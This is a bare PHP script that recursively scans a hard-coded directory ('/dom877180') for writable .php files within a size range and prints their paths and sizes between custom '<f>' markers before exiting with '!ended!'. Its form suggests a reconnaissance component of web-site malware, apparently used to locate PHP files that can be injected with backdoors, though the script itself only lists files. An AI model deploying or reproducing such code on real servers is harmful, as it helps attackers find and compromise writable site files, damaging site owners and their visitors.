<?php   $min = (int)512; $max = (int)100000; if ($min < 1) {     $min = 1; } if ($max < $min) {     $max = $min; }  function scan_sized($path, $root, $min, $max) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_file($p) && substr($p, -4) == '.php' && is_writeable($p)) {                     $sz = @filesize($p);                     if ($sz === false || $sz < $min || $sz > $max) {                         continue;                     }                     $res = str_replace($root, '', $p);                     print "<f>{$res}|{$sz}</f>";                 } elseif (is_dir($p)) {                     scan_sized($p, $root, $min, $max);                 }             }         }     } }  $r = "/dom877180"; scan_sized($r, $r, $min, $max); die('!ended!');